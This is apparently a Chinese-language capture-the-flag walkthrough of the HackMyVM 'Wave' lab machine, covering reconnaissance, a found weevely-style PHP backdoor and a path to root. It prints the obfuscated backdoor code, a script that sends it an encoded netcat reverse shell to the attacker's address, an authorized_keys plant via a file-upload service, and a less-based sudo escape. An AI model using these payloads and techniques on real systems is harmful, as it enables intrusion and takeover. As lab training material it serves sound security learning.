HackMyVm Wave Walkthrough

靶机下载地址https://hackmyvm.eu/machines/machine.php?vm=Wave。
Tips: shell加解密、常见php扩展名、端口转发、less命令的使用。
整体玩下来还是挺有趣的。

扫描端口,开了22和80,那就是从80里找突破口。

└─$ nmap -sV -sC -Pn -p- -oN port.log 192.168.56.151
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-05 11:35 CST
Nmap scan report for 192.168.56.151
Host is up (0.00029s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey: 
|   256 07:e9:c8:22:59:a5:00:41:15:fa:26:0f:7d:d3:29:ff (ECDSA)
|_  256 c7:81:8e:06:49:33:8f:1a:88:3b:82:9e:27:f3:72:1e (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.22.1
| http-robots.txt: 1 disallowed entry 
|_/backup
MAC Address: 08:00:27:BC:96:4F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

默认页面没什么内容,扫一下目录和文件。

└─$ gobuster dir -u http://$IP/ -t 20 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .html,.php,.txt -b 401,403,404,500  -o 80.log
/index.html           (Status: 200) [Size: 31]
/backup               (Status: 301) [Size: 169] [--> http://192.168.56.151/backup/]
/robots.txt           (Status: 200) [Size: 18]
/phptest.php          (Status: 200) [Size: 11]

backup目录下有几个备份文件,下载下来逐个分析下。

└─$ curl http://$IP/backup/
<html>
<head><title>Index of /backup/</title></head>
<body>
<h1>Index of /backup/</h1><hr><pre><a href="../">../</a>
<a href="index.bck">index.bck</a>                                          04-Sep-2023 10:10                  31
<a href="log.log">log.log</a>                                            04-Sep-2023 10:12                   4
<a href="phptest.bck">phptest.bck</a>                                        04-Sep-2023 10:11                  32
<a href="robots.bck">robots.bck</a>                                         04-Sep-2023 10:10                  18
<a href="weevely.bck">weevely.bck</a>                                        05-Sep-2023 09:20                 515
</pre><hr></body>
</html>

经检测,weevely.bck是一个phar文件,可以使用phar命令进行解压,解压后最后得到一个名为x的php文件。

└─$ phar extract -f weevely.bck  weevely/  
//home/kali/Documents/wave/weevely.bck/x ...ok
└─$ file weevely.bck
\weevely.bck: PHP phar archive with SHA1 signature

这段php代码的功能是将php命令进行加密编码,而weevely是网上一个shell管理工具的名称,很可能网站上存在一个weevely后门,而这个php代码就是调用该后门的。

<?php eval('$k="3ddf0d5c";$kh="b6e7a529b6c2";$kf="d598a771749b";$p="afnqDsRcBpVmU71y";

function x($t,$k){
$c=strlen($k);$l=strlen($t);$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++)
{
$o.=$t[$i]^$k[$j];
}
}
return $o;
}
if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode(@x(@gzcompress($o),$k));
print("$p$kh$r$kf");
}');

现在要找到这个后门文件。刚开始以为phptest是shell,但实际上不是。增加几个php常用扩展名尝试一下,找到了weevely.php7。

└─$ cat /opt/php_ext.dic                                      
php
php2
php3
php4
php5
php6
php7
php8
phtml
phar
...
─$ gobuster dir -u http://$IP/ -t 20 -w file.dic -X /opt/php_ext.dic -b 401,403,404,500
/weevely.php7         (Status: 200) [Size: 0]

根据php源码,编写一下执行自定义编码的php程序,payload.php,代码如下。

<?php
$cmd = 'id'; // 要执行的命令
$k = "3ddf0d5c"; // 使用的密钥
$kh = "b6e7a529b6c2"; // 前缀
$kf = "d598a771749b"; // 后缀

// 加密函数,和 Web Shell 中的 `x` 函数一致
function x($t, $k) {
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l;) {
        for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
            $o .= $t[$i] ^ $k[$j];
        }
    }
    return $o;
}

// 准备命令并处理
$payload = base64_encode(x(gzcompress('system("nc 192.168.56.101 1234 -e /bin/bash");'), $k));

// 在前后加上标记
echo "$kh$payload$kf";
?>

运行后产生加密的指令数据。

─$ php payload.php                                                                                                                       
b6e7a529b6c2S/hPyBxKfK7mNK4tZlSBV+FXUNXgVwCwAFBUMgBQB1VitCkz4Cv/r+ArLkr+NOfXNWRDDDx+d598a771749b

向后门发送指令数据。

┌──(kali㉿mykali)-[~/Documents/wave]
└─$ curl -X POST http://$IP/weevely.php7 -d $(php payload.php)

本地监听就可以得到shell。

┌──(kali㉿mykali)-[~/Documents/wave]
└─$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.151] 40626
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

检测靶机端口,发现有一个本机的3923端口。

www-data@wave:/tmp$ ss -tunlp
ss -tunlp
Netid State  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess                        
udp   UNCONN 0      0            0.0.0.0:68        0.0.0.0:*                                  
tcp   LISTEN 0      128          0.0.0.0:22        0.0.0.0:*                                  
tcp   LISTEN 0      511          0.0.0.0:80        0.0.0.0:*    users:(("nginx",pid=456,fd=5))
tcp   LISTEN 0      1024       127.0.0.1:3923      0.0.0.0:*                                  
tcp   LISTEN 0      128             [::]:22           [::]:*                                  
tcp   LISTEN 0      511             [::]:80           [::]:*    users:(("nginx",pid=456,fd=6))

下面要进行端口转发,靶机没有自带socat,需要从github上下载,并上传到靶机,地址如下:https://github.com/3ndG4me/socat/releases/tag/v1.7.3.3

上传后运行,将3923端口转发到外网的8080端口。

www-data@wave:/tmp$ ./socatx64.bin TCP-LISTEN:8080,fork TCP:127.0.0.1:3923&
./socatx64.bin TCP-LISTEN:8080,fork TCP:127.0.0.1:3923&

转发出来后在浏览器中访问,界面如下,可以看到user flag文件,也可以新建目录、上传文件。另外,那个copyparty-sfx.py是一个自解压python程序。

是谁在运行这个程序呢?使用pspy检查一下,发现是用户angie,那程序的运行目录多半是/home/angie。

2024/11/05 16:21:40 CMD: UID=1000  PID=468    | /usr/bin/python3 /home/angie/copyparty-sfx.py -i 127.0.0.1                                                                  
2024/11/05 16:21:40 CMD: UID=0     PID=463    | /sbin/agetty -o -p -- \u --noclear - linux                                                                                  
2024/11/05 16:21:40 CMD: UID=1000  PID=462    | /bin/sh -c /usr/bin/python3 /home/angie/copyparty-sfx.py -i 127.0.0.1

在程序介绍建立.ssh目录,并将本机的id_rsa.pub改名为authorized_keys,上传到.ssh目录下。

接下来就可以用angie用户以ssh登录靶机了。

└─$ ssh angie@$IP              
...
Last login: Tue Sep  5 11:14:50 2023 from 192.168.0.100
angie@wave:~$ whoami
angie

检测sudo -l,发现可以使用less命令读取一个只有两行的文本。

angie@wave:~$ sudo -l
Matching Defaults entries for angie on wave:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User angie may run the following commands on wave:
    (ALL) NOPASSWD: /usr/bin/less -F /opt/secret.txt
angie@wave:~$ sudo /usr/bin/less -F /opt/secret.txt 
Dietro di lui, 
dietro di lui solo la nebbia.

这里真是挺有趣,需要将命令行窗口缩小到只能显示一行内容,然后运行less命令时,就可以输入!/bin/bash,进入root了。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注